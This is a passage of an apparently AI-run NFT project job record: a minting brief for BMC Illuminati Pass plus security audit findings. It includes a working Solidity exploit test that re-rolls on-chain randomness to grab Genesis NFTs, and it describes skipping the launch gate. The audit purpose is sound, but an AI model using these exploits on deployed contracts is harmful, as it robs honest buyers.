{"assessments":[],"deployments":[],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"c365fa20-6fba-42d5-b73f-6d4050abce8f","kind":"shape:chain","nodes":[{"acceptedSubmissionHash":"6ba618abbb45ea5b8a4eae7232e813ed955e210605255467e65148c82849f1ec","dependsOn":["audit_imported_code"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"2d7d84a1a9972f1497e5bc68a704cbf42294d08c62d2868f102ffe3b909b9b51","skillId":"adapt-contract-project","tools":[]},"key":"adapt_contract_project","kind":"code","role":"implement","skillHash":"2d7d84a1a9972f1497e5bc68a704cbf42294d08c62d2868f102ffe3b909b9b51","skillId":"adapt-contract-project","state":"accepted"},{"acceptedSubmissionHash":"4e744288acfca59f16d71051892dad93a54139fac9e6197ff957f5fdbd7acb58","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"3f5c1dd1c71851c4bc00a57c0b851be8520e93b1f72225daede4dda11d069779","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"0d984119a500f03a00e49c4bb76b0079596ebe5e1af4b4ab9fb2dd046c31697b","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"9897597976b0e72440db7ca402d225aea20f3d37205ba53e7df2400ff80f29cc","skillId":"audit-imported-code","tools":[]},"key":"audit_imported_code","kind":"code","role":"review","skillHash":"9897597976b0e72440db7ca402d225aea20f3d37205ba53e7df2400ff80f29cc","skillId":"audit-imported-code","state":"accepted"},{"acceptedSubmissionHash":"49db1fd5b6e90ed58500e26d486c16601dbfb19c355310561d4b7024cb725fc8","dependsOn":["adapt_contract_project","write_foundry_tests","manifest","audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","state":"accepted"},{"acceptedSubmissionHash":"100ee61dbea106710035f3cc5ab2a443fd363ce4c5fe951c75ed6f6bae69159c","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"da602d927513ef76dd247734a4d6970d9927066b03a47bb7c965947791db432c","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"8046fd7579fe3e1faa2d7938a38bd14446d971ce32e6d19ab4e82a5becc874d2","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"tools":[]},"key":"manifest","kind":"code","role":"integrate","skillHash":null,"skillId":null,"state":"accepted"},{"acceptedSubmissionHash":"a1181188c10abfc1a28fd28632383566d8dffde4f042a6ca89ebbd28457b4487","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"73431852439ad3a343f3d2b7db1c43cd363b9f48f9bb51497374a0cf6d50b223","skillId":"write-foundry-tests","tools":[]},"key":"write_foundry_tests","kind":"code","role":"tests","skillHash":"73431852439ad3a343f3d2b7db1c43cd363b9f48f9bb51497374a0cf6d50b223","skillId":"write-foundry-tests","state":"accepted"}],"objective":"# BMC ILLUMINATI — INTEGRATE NFT MINTING INTO EXISTING WEBSITE\n\nI want you to upgrade my EXISTING BMC Illuminati website with a complete Ethereum NFT minting interface.\n\n**IMPORTANT: Do not rebuild, replace, or redesign my existing website. Preserve its current content, branding, navigation, token information, links, and functionality. Add the BMC Illuminati PASS minting experience as a new section or page.**\n\n## 1. EXISTING WEBSITE\n\nLive website:\nhttps://bmc-illuminati-know-create-burn.sites.imd.fun/\n\nIMD platform:\nhttps://imd.fun/\n\nUse the existing website project and preserve the current visual design.\n\nAdd a prominent navigation button labeled:\n\n**MINT BMC PASS**\n\nThe button should open a dedicated NFT minting page, preferably at `/mint`.\n\n## 2. BLOCKCHAIN CONFIGURATION\n\nNetwork: Ethereum Mainnet\n\nChain ID: 1\n\nExisting BMC ERC-20 token contract:\n0x38224239f2BDae357D47cb864BC533d7f72dF961\n\nBMC token explorer:\nhttps://etherscan.io/address/0x38224239f2BDae357D47cb864BC533d7f72dF961\n\nNFT collection name: BMC Illuminati Pass\n\nNFT symbol: BMCPASS\n\nMaximum supply: 500 NFTs\n\nNFT contract address: NOT DEPLOYED YET.\n\n**Do not invent an NFT contract address. Do not use the BMC ERC-20 address as the NFT contract address. Keep minting disabled until the actual NFT contract is deployed, verified, and approved for public minting.**\n\n## 3. NFT COLLECTION\n\nGenesis Phase:\n\n- Token IDs 1–40.\n- Token #1: Legendary Genesis.\n- Tokens #2–40: Early Genesis.\n- Price: 1,000,000 BMC burned per mint.\n- Sequential minting.\n- Genesis PNG artwork stored on IPFS.\n\nMystery Phase:\n\n- Token IDs 41–500.\n- Price: 350,000 BMC burned per mint.\n- 37 additional Genesis NFTs.\n- 423 Standard NFTs.\n- Unique outcomes without replacement.\n- Standard artwork rendered fully on-chain as SVG.\n\nThe proposed Mystery contract uses on-chain block-derived randomness, not Chainlink VRF. This randomness is not cryptographically manipulation-resistant. Explain that risk clearly to buyers. Do not advertise guaranteed fairness or tamper-proof randomness.\n\n## 4. GENESIS ARTWORK\n\nIPFS Genesis directory CID:\n\nbafybeihfihwwpev4gkqjuqawgtptsv3ynzsokclo6odsolvoa65aqaac2u\n\nIPFS gateway:\nhttps://silver-active-lungfish-941.mypinata.cloud/ipfs/bafybeihfihwwpev4gkqjuqawgtptsv3ynzsokclo6odsolvoa65aqaac2u/\n\nUse the Genesis artwork where appropriate.\n\nVerify that all 77 Genesis images load and match the filenames expected by the contract. Do not silently substitute missing images.\n\n## 5. WALLET CONNECTION\n\nAdd a prominent **CONNECT WALLET** button.\n\nSupport:\n\n- MetaMask.\n- EIP-1193 compatible injected wallets.\n- Ethereum Mainnet detection.\n- Clear wrong-network warnings.\n- Wallet account changes.\n- Wallet disconnection and connection errors.\n\nNever request seed phrases or private keys.\n\n## 6. MINT INTERFACE\n\nCreate a premium dark, black-and-gold BMC Illuminati mint page.\n\nShow:\n\n- Wallet connection status.\n- Connected wallet address.\n- BMC token balance.\n- Current mint phase.\n- Mint price in BMC.\n- NFTs minted out of 500.\n- Remaining NFT supply.\n- Total BMC permanently burned, based on the actual NFT contract.\n- Genesis and Mystery mint buttons.\n- Transaction progress and Etherscan links.\n\nUse responsive layouts for desktop and mobile.\n\n## 7. BMC APPROVAL AND BURNING\n\nUse the actual deployed NFT contract ABI.\n\nWhen a user mints:\n\n1. Verify the wallet is on Ethereum Mainnet.\n2. Check their BMC balance.\n3. Check the BMC allowance for the NFT contract.\n4. If needed, request approval for the exact mint price.\n5. Wait for approval confirmation.\n6. Call the appropriate NFT mint function.\n7. Wait for transaction confirmation.\n8. Display the minted NFT and transaction link.\n\nThe NFT contract must execute `burnFrom`. The website must not transfer BMC to a developer wallet.\n\nDo not request unlimited BMC approval by default.\n\nHandle rejected, failed, reverted, or pending transactions safely.\n\n## 8. SAFETY AND LAUNCH CONTROL\n\nImplement two separate states:\n\n**PRE-LAUNCH MODE**\n\n- Connect Wallet works.\n- NFT artwork and prices are visible.\n- Mint buttons are disabled.\n- Display “BMC PASS — Coming Soon”.\n- Do not send approval or mint transactions.\n\n**LIVE MINT MODE**\n\nEnable only after:\n\n- The final NFT contract is deployed on Ethereum Mainnet.\n- Its contract address and ABI are confirmed.\n- The deployed bytecode is verified against the reviewed build.\n- Security findings are addressed and launch authorization is explicitly given.\n- Minting and burning are validated against the deployed contract.\n\nDo not deploy any smart contracts, modify token permissions, request wallet signatures, or launch paid jobs automatically.\n\n## 9. IMPORTANT LINKS\n\nExisting website:\nhttps://bmc-illuminati-know-create-burn.sites.imd.fun/\n\nBMC GitHub repository:\nhttps://github.com/0xSt3w/launch-1356-project-bmc-illuminati-pass\n\nExisting deterministic development branch:\nhttps://github.com/0xSt3w/launch-1356-project-bmc-illuminati-pass/tree/feature/deterministic-pass\n\nBMC ERC-20 token:\nhttps://etherscan.io/address/0x38224239f2BDae357D47cb864BC533d7f72dF961\n\nGenesis artwork:\nhttps://silver-active-lungfish-941.mypinata.cloud/ipfs/bafybeihfihwwpev4gkqjuqawgtptsv3ynzsokclo6odsolvoa65aqaac2u/\n\n**Important: The deterministic development branch is a different NFT design from the requested on-chain-random Mystery design. Do not use its ABI or deploy it as the random-Mystery contract. Request the finalized source repository and deployment address for the chosen design before activating minting.**","parentJobId":null,"planHash":"454e40b26dc8a0c46585d7d1b1f96f2a9bcfd35b488bac8b297e3823073dd840","previousHash":"0000000000000000000000000000000000000000000000000000000000000000","projectId":"c365fa20-6fba-42d5-b73f-6d4050abce8f","publication":{"commit":null,"deliveredAt":null,"repoUrl":null},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[{"agentId":"50985","feedbackHash":"0e39cffe667b38f26996a4ba2b8c9d96009afee8222a88f3d63d345782c4adbe","nodeKey":"adapt_contract_project","submissionHash":"6ba618abbb45ea5b8a4eae7232e813ed955e210605255467e65148c82849f1ec","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52421","feedbackHash":"096602280d26aad5a3e7dfe00835356e708d7b24c89115c574f3b382f18dc51d","nodeKey":"adapt_contract_project","submissionHash":"9f076d8f6deb1b29da5b49583428b060f34e4860a38fbedd805faeda4e378020","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52679","feedbackHash":"5c40894b35d999f03991497dcc198fdcb61a59670ffd7f4690317bcca99e67ff","nodeKey":"audit_economics","submissionHash":"4e744288acfca59f16d71051892dad93a54139fac9e6197ff957f5fdbd7acb58","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51442","feedbackHash":"b40a28fce423b0942919ed4c215ba852b061a6c07062c3906969b68f657f3051","nodeKey":"audit_flow","submissionHash":"3f5c1dd1c71851c4bc00a57c0b851be8520e93b1f72225daede4dda11d069779","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52623","feedbackHash":"d27a42c3043ee8e8bce9e8eedfaa21f86afdd455336451c10a020fa6a596b178","nodeKey":"audit_imported_code","submissionHash":"0d984119a500f03a00e49c4bb76b0079596ebe5e1af4b4ab9fb2dd046c31697b","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52164","feedbackHash":"d10148c019ed70172ceb5002f1bc533ddafd6fb81b626dbf4dd925e05b13c337","nodeKey":"audit_judge","submissionHash":"49db1fd5b6e90ed58500e26d486c16601dbfb19c355310561d4b7024cb725fc8","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"50989","feedbackHash":"1f31890bbb7fd4d25d7c57785fd80699415dca48b6c49c00928a545c8ccba593","nodeKey":"audit_judge","submissionHash":"021242a84f5adc5d5db5e60eccf812f607cc9788af144072ca2f1b171663ab0c","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51481","feedbackHash":"45ee973e98cfc0cfed5ffb860be98b5da889f16b15410d266e29cc367162cb8a","nodeKey":"audit_math","submissionHash":"100ee61dbea106710035f3cc5ab2a443fd363ce4c5fe951c75ed6f6bae69159c","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51022","feedbackHash":"a60d672a2b27fa47e5240d811aed1221a9140b8b2e0fb15e68e3c8ebe1b74fb7","nodeKey":"audit_permissions","submissionHash":"da602d927513ef76dd247734a4d6970d9927066b03a47bb7c965947791db432c","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52710","feedbackHash":"32e818a544c354d8493cdb7d8a3926c22e0c9902cd217d20998c747815a49b51","nodeKey":"manifest","submissionHash":"9eefe571c157d5b1659530ec0a019886e04bb5ce40cae01927d530615439fcc6","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52193","feedbackHash":"783c8545f7089e9ed7c83627ea9952aee098075b6d853eda98d3f7175c03f8ae","nodeKey":"manifest","submissionHash":"8046fd7579fe3e1faa2d7938a38bd14446d971ce32e6d19ab4e82a5becc874d2","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51020","feedbackHash":"9d3c9fbd825cf99e970e554fab4d9b59ce49e7dd467420e482d003ab5f074c3d","nodeKey":"write_foundry_tests","submissionHash":"a1181188c10abfc1a28fd28632383566d8dffde4f042a6ca89ebbd28457b4487","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52422","feedbackHash":"ea558e720480b9d963a104c18540ef3e42981b5f50d129659136984adedbbb93","nodeKey":"write_foundry_tests","submissionHash":"6376e714d705937eefef1553a4411a2802fe8ce913d443c7d7b6d4701819b72a","tag1":"verification:checks","tag2":"acceptance-v2","value":1}],"site":null,"snapshotHash":"6dbf631faf965d4c20cfff0bf87b31fa2b9bae035f0de542888e0d111e0a8ad5","state":"completed","submissions":[{"artifacts":[],"attempt":1,"bundleHash":null,"device":"e36579e0223ff908","findings":[{"citation":"resolved","description":"Merged from audit_economics (high), audit_permissions (low) and audit_flow (info): one root cause. mintMystery() burns 350,000 BMC via burnFrom, derives `word` from values that are all fixed before the transaction is included (block.prevrandao, blockhash(block.number-1), block.timestamp, address(this), msg.sender, tokenId), writes the tier and artwork to storage in _draw(), then calls _safeMint(). The outcome is therefore readable through tierOf(tokenId) and inside onERC721Received before the transaction ends, and a revert rolls the burnFrom back, so an unwanted draw costs only gas. Because msg.sender is an entropy input, a caller gets a fresh independent draw per helper contract inside the same block: deploy a throwaway child, move exactly one mint price into it, have it call mintMystery() and revert unless tierOf(id) == Genesis, catch, repeat. Reproduced: one transaction funded with exactly 350,000 BMC obtained Mystery Genesis #41 on the 13th in-block attempt for 7.6M gas; the flow specialist's demonstration took all 37 Mystery Genesis (remainingMysteryGenesis()==0) for exactly 37 x 350,000 BMC with no extra burn. A plain EOA can do the weaker version with no contract: simulate against the next block and only send when the result is Genesis (reproduced: 11 slots skipped, then a guaranteed Genesis, zero failed transactions, eoa balance 0 after one price). Impact: the Mystery product's advertised 37-in-460 Genesis share is fully extractable by any sophisticated buyer at inventory price; the remaining 423 honest buyers burn 148.05M BMC with a 0% chance at Genesis while the page still lists Genesis as part of the pool. This goes beyond the validator/builder influence the brief accepts and discloses: it needs no block production power, costs only gas, and is certain. Switching _safeMint to _mint does not help (a calling contract can check tierOf after the call returns and revert); tx.origin checks are bypassable with EIP-7702. Minimal fix that stays within the requested block-derived, VRF-free design: mintMystery() burns, mints the token with Tier.Pending and records commitBlock=block.number; a separate reveal(tokenId), callable by anyone from commitBlock+1 on, derives the word from blockhash(commitBlock+1) (with a documented fallback when more than 256 blocks pass) and only then runs _draw(). The outcome is then unknown when the burn becomes irreversible, so observe-and-revert and simulate-then-send both stop working; the RevealStatus enum and pendingReveals() already have the shape for this. Validator bias of one block's hash remains and the disclosure should keep saying so.","line":164,"path":"src/BMCIlluminatiPass.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IERC721Receiver} from \"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {ERC20Burnable} from \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\";\nimport {BMCIlluminatiPass} from \"src/BMCIlluminatiPass.sol\";\n\n/// @dev Same semantics as the live BMC token: plain OpenZeppelin ERC20Burnable, 18 decimals.\ncontract ProofBMC is ERC20, ERC20Burnable {\n    constructor() ERC20(\"BMC Illuminati\", \"BMC\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\n/// @dev One throwaway minter. A fresh address changes `msg.sender` in the entropy word, so every\n///      child is a fresh draw inside the same block. If the draw is not Genesis it reverts, which\n///      rolls back the 350,000 BMC burn and the mint.\ncontract Picker is IERC721Receiver {\n    BMCIlluminatiPass immutable pass;\n    ProofBMC immutable bmc;\n    address immutable parent;\n\n    constructor(BMCIlluminatiPass p, ProofBMC t) {\n        pass = p;\n        bmc = t;\n        parent = msg.sender;\n    }\n\n    function tryGenesis(uint256 price) external returns (uint256 id) {\n        bmc.transferFrom(parent, address(this), price);\n        bmc.approve(address(pass), price);\n        id = pass.mintMystery();\n        // Outcome is final and readable before the transaction ends: keep only a Genesis.\n        require(pass.tierOf(id) == BMCIlluminatiPass.Tier.Genesis, \"standard: roll back the burn\");\n    }\n\n    function onERC721Received(address, address, uint256, bytes calldata) external pure override returns (bytes4) {\n        return IERC721Receiver.onERC721Received.selector;\n    }\n}\n\ncontract Hunter {\n    BMCIlluminatiPass immutable pass;\n    ProofBMC immutable bmc;\n\n    constructor(BMCIlluminatiPass p, ProofBMC t) {\n        pass = p;\n        bmc = t;\n    }\n\n    /// @notice One transaction: re-roll with fresh senders until the draw is a Genesis.\n    function hunt(uint256 price, uint256 maxTries) external returns (uint256 id, uint256 tries) {\n        for (tries = 1; tries <= maxTries; tries++) {\n            Picker p = new Picker(pass, bmc);\n            bmc.approve(address(p), price);\n            try p.tryGenesis(price) returns (uint256 got) {\n                return (got, tries);\n            } catch {}\n        }\n        return (0, tries - 1);\n    }\n}\n\ncontract MysteryOutcomeSelectionTest is Test {\n    uint256 constant GENESIS_PRICE = 1_000_000e18;\n    uint256 constant MYSTERY_PRICE = 350_000e18;\n\n    ProofBMC bmc;\n    BMCIlluminatiPass pass;\n\n    function setUp() public {\n        bmc = new ProofBMC();\n        pass = new BMCIlluminatiPass(makeAddr(\"owner\"), address(bmc));\n        // Honest buyers finish the Genesis phase.\n        for (uint256 i = 0; i < 40; i++) {\n            address who = address(uint160(0x1000 + i));\n            bmc.mint(who, GENESIS_PRICE);\n            vm.startPrank(who);\n            bmc.approve(address(pass), GENESIS_PRICE);\n            pass.mintGenesis();\n            vm.stopPrank();\n        }\n        assertEq(pass.totalMinted(), 40);\n    }\n\n    /// Fails on the current code: a single transaction funded with exactly one mint price obtains a\n    /// Mystery Genesis with certainty, so the advertised 37-in-460 inventory draw is selectable by\n    /// anyone who can deploy a contract. Passes once the outcome can no longer be observed and\n    /// reverted inside the minting transaction (for example a draw settled from a later block hash).\n    function test_CallerCannotSelectGenesisOutcomeAtomically() public {\n        Hunter hunter = new Hunter(pass, bmc);\n        bmc.mint(address(hunter), MYSTERY_PRICE); // exactly one mint's worth of BMC\n\n        (uint256 id, uint256 tries) = hunter.hunt(MYSTERY_PRICE, 300);\n        emit log_named_uint(\"attempts needed\", tries);\n        emit log_named_uint(\"token id obtained\", id);\n\n        // Expected: no caller can guarantee a Genesis draw; the pool's Genesis count is untouched by\n        // a selective minter and total BMC burned by the hunt is at most what one Mystery mint costs.\n        assertEq(pass.mysteryGenesisRevealed(), 0, \"a selective caller took a Mystery Genesis with certainty\");\n    }\n}","reproduction":"State: Genesis phase complete (totalMinted == 40), BMC is a plain OpenZeppelin ERC20Burnable (confirmed against mainnet bytecode at 0x38224239f2BDae357D47cb864BC533d7f72dF961: burnFrom 0x79cc6790 present, fork tests pass). Attacker contract Hunter holds exactly 350,000e18 BMC and calls hunt(350_000e18, 300) in ONE transaction: loop { Picker p = new Picker(); bmc.approve(p, price); try p.tryGenesis(price) { bmc.transferFrom(hunter, p, price); bmc.approve(pass, price); id = pass.mintMystery(); require(pass.tierOf(id) == Tier.Genesis); return id; } catch { continue; } }. Expected (fair inventory draw): a selective caller cannot force a Genesis; mysteryGenesisRevealed() stays 0 unless the ~8% draw happens to hit, and every draw costs 350,000 BMC. Actual (forge test --match-path test/scratch/Proof_786c6004c457.t.sol): FAIL 'a selective caller took a Mystery Genesis with certainty: 1 != 0'; logs 'attempts needed: 13', 'token id obtained: 41'; the 12 reverted attempts burned nothing. Repeating drains the remaining 36 Mystery Genesis the same way (flow specialist's test: 37 captures, totalBurned == 40*1e6e18 + 37*350e3e18, remainingMysteryGenesis()==0). EOA variant (test/scratch/ReviewChecks.t.sol::test_EOACanPredictOutcomeBeforeSending): simulate mintMystery against each next block, send only when Genesis; 11 slots skipped then one guaranteed Genesis, eoa BMC balance 0, mysteryGenesisRevealed()==1.","severity":"high","snippet":"        _draw(tokenId, word);\n        _safeMint(msg.sender, tokenId);","title":"Mystery outcome is observable and revertable inside the minting transaction, and msg.sender is an entropy input: any contract caller selects Genesis outcomes with certainty at no BMC cost per failed d"},{"citation":"resolved","description":"From audit_permissions. Brief section 8 requires live minting only after the contract is deployed, Etherscan-verified, its runtime compared byte-for-byte with the reviewed build, minting/burning validated against the deployed contract and public minting explicitly authorized. Those steps necessarily take time after deployment, but the contract has no start time, no one-way open switch and no owner function that could hold the sale (owner powers are deliberately none; docs/LAUNCH.md line 36-38 and launch.json notes acknowledge 'Direct mint calls become possible as soon as it is deployed'). The only gate is website/config.js MODE/PASS_ADDRESS, which does not bind contract callers. Result: between the factory deployment and the authorized go-live, any BMC holder watching the factory or Etherscan can mint token #1 'Legendary Genesis' ('Rank: First Minter', described in metadata as the rarest piece) and Early Genesis #2-40 while website users see 'Coming Soon'; and section 8's 'minting and burning are validated against the deployed contract' cannot be done on mainnet without the validator consuming sequential ids starting at #1. This is a launch-control gap with concrete harm to the scarcest items, not a code bug in the mint path. Fix options preserving prices and economics (requester's choice, since NatSpec lines 27-28 currently promise no owner mint/pause power): (a) a one-way owner call openMinting() that can only enable and never disable (no pause/rug power), mints revert MintNotOpen() before it; or (b) a constructor uint256 mintStart timestamp (a static manifest word, factory-compatible) chosen far enough ahead to finish verification, with mints reverting before it. The website LIVE gate stays as the second layer.","line":132,"path":"src/BMCIlluminatiPass.sol","reproduction":"State: BMCIlluminatiPass freshly deployed with any owner and BMC = 0x38224239f2BDae357D47cb864BC533d7f72dF961; website in PRE_LAUNCH; no authorization recorded. Input: unrelated address `bot` holding 1,000,000e18 BMC calls BMC.approve(pass, 1_000_000e18) then pass.mintGenesis() in the deployment block or any later block. Expected per brief section 8: no mint possible until launch authorization. Actual (test/scratch/ReviewChecks.t.sol::test_NoLaunchGate_FirstCallerTakesLegendary, passes on current code): mintGenesis returns 1, tierOf(1) == LegendaryGenesis, 1,000,000 BMC burned; owner calls to pause(), setMintActive(bool) and openMinting() all return success=false because no such function exists.","severity":"medium","snippet":"    function mintGenesis() external nonReentrant returns (uint256 tokenId) {\n        if (totalMinted >= GENESIS_PHASE_SUPPLY) revert GenesisPhaseOver();","title":"No on-chain launch gate: mintGenesis/mintMystery are open to any address from the deployment block, so the brief's 'keep minting disabled until verified and approved' is enforceable only in the websit"},{"citation":"resolved","description":"From audit_economics. The only transition into the Mystery phase is totalMinted reaching 40, i.e. 40 separate burns of 1,000,000 BMC (40M BMC). There is no time-based or owner-triggered phase advance and the owner deliberately has no powers, so if fewer than 40 buyers ever pay the Genesis price the Mystery phase, its 460 tokens, the 37 Mystery Genesis artworks and 161M of the 201M BMC maximum burn are unreachable forever. remainingMysteryMints() reports 460 and the website shows 'minted out of 500' as if all 500 were reachable. This is a direct consequence of the brief's sequential two-phase design rather than a coding error, so it is recorded at info level for the requester to decide knowingly (options: an owner- or deadline-triggered close of the Genesis phase that folds unsold Genesis slots into the pool, or simply stating on the mint page that Mystery opens only after all 40 Genesis sell).","line":150,"path":"src/BMCIlluminatiPass.sol","reproduction":"State: 39 Genesis mints completed (totalMinted == 39); no further buyer willing to burn 1,000,000 BMC. Account with 350,000e18 BMC and allowance calls mintMystery(). Expected per mint page copy: Mystery tokens 41-500 available at 350,000 BMC. Actual (test/scratch/ReviewChecks.t.sol::test_MysteryUnreachableAt39Genesis, passes on current code): revert GenesisPhaseNotOver(); currentPrice() stays 1_000_000e18; remainingMysteryMints() still returns 460; no function or role can change this state.","severity":"info","snippet":"        if (totalMinted < GENESIS_PHASE_SUPPLY) revert GenesisPhaseNotOver();","title":"Mystery phase can only open when all 40 Genesis sell at 1,000,000 BMC each; if Genesis demand stalls, 460 Mystery tokens and all 37 Mystery Genesis artworks are permanently unreachable with no fallbac"}],"hash":"021242a84f5adc5d5db5e60eccf812f607cc9788af144072ca2f1b171663ab0c","nodeId":"dab05d47-1386-4d7e-b4be-09c0029f981f","outcome":"completed","summary":"The review is complete. The findings file is written, validated against the source lines, and the only proof attached fails on the current code as required.\n\n**Outcome:** three findings kept, written to `.imd-findings.json`, with 12 coverage rows (all 9 entry points plus 3 invariants). No repository files were changed; scratch tests live only under the ignored `test/scratch/` directory.\n\n**Findings**\n\n- **High. Mystery outcome selectable inside the mint transaction.** Three specialists reported the same root cause at three severities; I merged them into one. The draw is written to storage and readable through tierOf before the transaction ends, a revert rolls the burn back, and msg.sender is an entropy input, so one throwaway contract per attempt gives fresh in-block draws. The economics specialist's proof fails on this code as claimed (13 attempts, Genesis #41, one mint price spent). I also reproduced the EOA variant with a snapshot-and-send loop: 11 slots skipped, then a guaranteed Genesis with zero failed transactions. The flow specialist's proof passes on current code, so it is a demonstration rather than a valid proof and I did not attach it. Suggested fix stays VRF-free: mint as Pending and reveal from a later block hash.\n- **Medium. No on-chain launch gate.** From the permissions specialist. Any BMC holder can mint token #1 Legendary Genesis in the deployment block while the website shows Coming Soon. Reproduced with a scratch test; the owner has no pause, open or start-time function. The requester must choose between a one-way open switch or a constructor start timestamp.\n- **Info. Mystery phase unreachable if Genesis stalls below 40 sales.** From the economics specialist. Reproduced at 39 Genesis mints: mintMystery reverts forever. This is the brief's sequential design, so I kept it informational for the requester to decide knowingly.\n\n**What held.** The math specialist's clean result stands. I verified the virtual Fisher-Yates draw, artwork mapping, exact-burn delta checks, the 201M BMC burn ceiling, and factory deployability. Runtime and initcode sizes are inside the limits and the manifest uses only schema keys. I confirmed the mainnet BMC token is a plain OpenZeppelin v5 ERC20Burnable from its bytecode, and the four fork tests pass against it over the provided RPC. The full existing suite passes (59 tests). The website requests exact-price approval only, gates every write path on the LIVE configuration, and carries the required MINT BMC PASS button and manipulation disclosure.","treeHash":null,"usage":{"cachedInputTokens":942177,"inputTokens":354,"model":"claude-fable-5-1","outputTokens":19257,"runtime":"claude","turns":31,"wallClockMs":447543}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"05f71cd1a5206480","findings":[{"citation":"resolved","description":"finalizeReveals only advances from GENESIS_PHASE_SUPPLY + revealedCount + 1 and stops at the first token that is not RandomnessStored. A mystery token whose VRF request is never delivered therefore blocks the finalization of every token minted after it, including tokens whose random word has already been stored on-chain. The contract has no timeout, re-request, or fallback for a request the coordinator never fulfils: VRF_COORDINATOR is immutable, rawFulfillRandomWords only accepts the original requestId, and setVRFConfig only affects future requests. Chainlink documents underfunded-subscription requests as pending for a bounded window (about 24 hours) before nodes stop retrying, and the coordinator is a Chainlink-operated contract that can be deprecated (as VRF v2 was) over the lifetime of a 460-mint sale. Either event strands the head token in AwaitingRandomness forever, and with it all later tokens, whose owners have each burned 350,000 BMC for an NFT that can never reveal. The README (\"stays pending until funded, which anyone can do\") and website/index.html line 76 state a stronger guarantee than the code gives. Suggested fix that keeps in-order fairness: allow anyone to open a replacement VRF request for the head token after a generous timeout (e.g. N blocks since its request) by mapping the new requestId to the same tokenId while the status is still AwaitingRandomness; alternatively, drop in-order finalization and draw each token independently on delivery (the deliberate F-1 design would then need re-evaluating).","line":320,"path":"src/BMCIlluminatiPass.sol","reproduction":"State: phase 1 complete (40 Genesis minted), VRF configured. Sequence: (1) alice calls mintMystery() -> token 41, requestId R41; the coordinator never calls rawFulfillRandomWords(R41, ...). (2) ten other buyers call mintMystery() -> tokens 42..51; the coordinator delivers their words, so rawFulfillRandomWords stores them (revealStatusOf == RandomnessStored, tierOf == Pending). (3) Any caller invokes finalizeReveals(100) at any later time. Expected: tokens 42..51 whose randomness is on-chain reach Revealed, or token 41 has some path to a new request. Actual: finalizeReveals returns 0, pendingReveals() == 11, tokens 42..51 stay RandomnessStored/Pending indefinitely, owner calling setVRFConfig(...) changes nothing, and 11 * 350,000 BMC (3.85M BMC) has been 